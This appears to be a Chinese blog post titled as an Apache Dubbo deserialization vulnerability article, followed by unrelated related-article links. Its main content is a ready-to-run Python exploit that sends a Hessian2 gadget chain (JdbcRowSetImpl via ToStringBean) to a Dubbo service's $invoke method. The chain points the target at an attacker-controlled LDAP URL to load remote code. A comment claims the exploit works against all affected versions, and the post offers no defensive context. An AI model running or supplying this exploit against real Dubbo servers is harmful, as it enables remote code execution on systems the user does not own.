Apache Dubbo反序列化漏洞

访客3年前 (2021-03-30)黑客文章779

# -*- coding: utf-8 -*-importsys fromdubbo.codec.hessian2 importDecoder,new_object fromdubbo.client importDubboClient iflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print(' Example: - python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')

标签: Apache Dubbo反序列化漏洞

返回列表

上一篇：三顾茅庐的主要内容（三顾茅庐赏析）

下一篇：浮躁的意思（你真的知道什么是浮躁吗）

相关文章

八大盈利模式（企业的八大盈利方式）

　　八大运营模式（公司的八大赢利方法）公司存在的价值是啥？当销售市场交易费用高过公司内控管理成本费的情况下公司就问世了，简易的说便是一个人无法找到精准顾客，也没法生产制造，而公司比本人工作效能高，因此...

离婚冷静期有必要吗离婚冷静期的弊端

由于离婚冷静期的现行政策关键点发布，造成很多人都对冷静期政策法规存有一些异议，下边就讨论一下离婚冷静期必须吗？一、离婚冷静期必须吗必须。 1、离婚冷静期只对友谊离异可用，即然双方都能平...

养狗需要准备什么用品（饲养狗狗必备用品）

养狗需要准备什么用品（饲养狗狗必备用品）

养狗并非易事，想要养好更是难上加难，一个闪亮的狗狗背后，总有着一个或者一个以上的辛勤主人。那么在当个好主人之前，我们应该准备那些东西呢？ 1、狗笼，或者航空箱。狗笼不仅仅是防止狗狗乱跑...

SEO行业未来发展4大趋势

SEO行业未来发展4大趋势

随着互联网技术的发展，营销行业几乎瞬息万变。不管是SEO还是营销技术，和以前相比，都显得更加不稳定。短短的几天，之前的预测可能就会实现，亦或过时。在这样的时代里，数字营销人需要更加迅速察觉行业趋势，对...

企业网站SEO应该注意的细节

在SEO行业，企业站是大多数的SEO服务网站，越来越多的企业聘请专业的SEO人员，以维护自己的网站，当每一个不断改进，始终排名不提高或排名下降，而不是存在这样的问题是，我们忽略了网站推广优化的问题。...

孙海涛微博致歉事件始末 51信用卡被查孙海涛微博致歉全文内容说了什

孙海涛微博致歉事件始末 51信用卡被查孙海涛微博致歉全文内容说了什

今天清晨，杭州恩牛网络技术有限公司CEO、51信用卡创始人孙海涛在个人微博上就51信用卡被查发声并致歉：全文如下：各位关心51信用卡朋友：昨日公司配合调查一事，引起了大家的关注，也给社会舆...